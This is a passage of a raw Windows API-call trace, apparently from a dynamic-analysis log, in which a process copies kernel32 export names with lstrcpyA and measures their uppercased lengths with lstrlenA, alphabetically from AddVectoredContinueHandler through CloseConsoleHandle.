(lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0149.337] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0149.337] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0149.337] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0149.337] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0149.337] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0149.337] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0149.337] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0149.338] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0149.338] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0149.338] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0149.338] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0149.338] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0149.338] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0149.338] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0149.338] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0149.338] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0149.338] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0149.338] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0149.338] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0149.338] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0149.338] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0149.338] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0149.338] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0149.338] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0149.338] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0149.338] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0149.338] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0149.338] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0149.338] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0149.338] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0149.338] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0149.338] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0149.338] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0149.338] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0149.338] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0149.338] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0149.338] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0149.338] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0149.338] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0149.338] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0149.339] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0149.339] lstrlenA (lpString="BACKUPREAD") returned 10 [0149.339] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0149.339] lstrlenA (lpString="BACKUPSEEK") returned 10 [0149.339] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0149.339] lstrlenA (lpString="BACKUPWRITE") returned 11 [0149.339] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0149.339] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0149.339] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0149.339] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0149.339] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0149.339] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0149.339] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0149.339] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0149.339] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0149.339] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0149.339] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0149.339] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0149.339] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0149.339] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0149.339] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0149.339] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0149.339] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0149.339] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0149.339] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0149.339] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0149.339] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0149.339] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0149.339] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0149.339] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0149.339] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0149.339] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0149.339] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0149.340] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0149.340] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0149.340] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0149.340] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0149.340] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0149.340] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0149.340] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0149.340] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0149.340] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0149.340] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0149.340] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0149.340] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0149.340] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0149.340] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0149.340] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0149.340] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0149.340] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0149.340] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0149.340] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0149.340] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0149.340] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0149.340] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0149.340] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0149.340] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0149.340] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0149.340] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0149.340] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0149.340] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0149.340] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0149.340] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0149.340] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0149.340] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0149.341] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0149.341] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0149.341] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0149.341] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0149.341] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0149.341] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0149.341] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0149.341] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0149.341] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0149.341] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0149.341] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0149.341] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0149.341] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0149.341] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0149.341] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0149.341] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0149.341] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0149.341] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0149.341] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0149.341] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0149.341] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0149.341] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0149.341] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0149.341] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0149.341] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0149.341] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0149.341] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0149.341] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0149.341] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0149.341] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0149.341] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0149.341] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0149.341] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0149.342] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0149.342] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0149.342] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0149.342] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0149.342] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0149.342] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0149.342] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0149.342] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0149.342] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0149.342] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0149.342] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0149.342] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0149.342] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0149.342] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0149.342] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0149.342] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0149.342] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0149.342] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0149.342] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0149.342] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0149.342] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0149.342] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0149.342] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0149.342] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0149.342] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0149.342] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0149.342] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0149.342] lstrlenA (lpString="BEEP") returned 4 [0149.342] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0149.342] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0149.342] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0149.342] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0149.343] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0149.343] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0149.343] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0149.343] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0149.343] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0149.343] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0149.343] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0149.343] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0149.343] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0149.343] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0149.343] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0149.343] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0149.343] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0149.343] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0149.343] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0149.343] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0149.343] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0149.343] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0149.343] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0149.343] lstrlenA (lpString="CANCELIO") returned 8 [0149.343] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0149.343] lstrlenA (lpString="CANCELIOEX") returned 10 [0149.343] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0149.343] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0149.343] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0149.343] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0149.343] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0149.343] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0149.343] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0149.343] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0149.344] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0149.344] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0149.344] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0149.344] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0149.344] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0149.344] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0149.344] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0149.344] lstrlenA (lpString="CHECKELEVATION") returned 14 [0149.344] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0149.344] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0149.344] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0149.344] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0149.344] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0149.344] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0149.344] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0149.344] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0149.344] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0149.344] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0149.344] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0149.344] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0149.344] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0149.344] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0149.344] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0149.344] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0149.344] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0149.344] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0149.344] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0149.344] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0149.344] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: 